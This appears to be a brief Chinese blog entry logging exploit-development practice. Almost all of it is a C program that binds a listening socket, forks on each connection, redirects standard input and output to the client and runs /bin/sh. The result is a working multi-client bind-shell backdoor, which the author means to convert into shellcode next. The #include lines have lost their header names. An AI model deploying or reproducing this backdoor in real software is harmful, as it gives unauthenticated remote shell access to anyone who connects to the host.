问题:得到端口绑定shellcdoe,使其可以接受多个连接。
fork的c代码如下:
#include
#include
#include
#include
int main()
{
int sock, cli;
struct sockaddr_in serv_addr;
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;
sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
for(;;) {
cli = accept(sock, 0, 0);
if(!fork()) {
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0);
}
}
}
编译通过,可以同时接受多个连接,并且可以在每个连接中使用shell。
明天完成shellcode。
阅读(490) | 评论(0) | 转发(0) |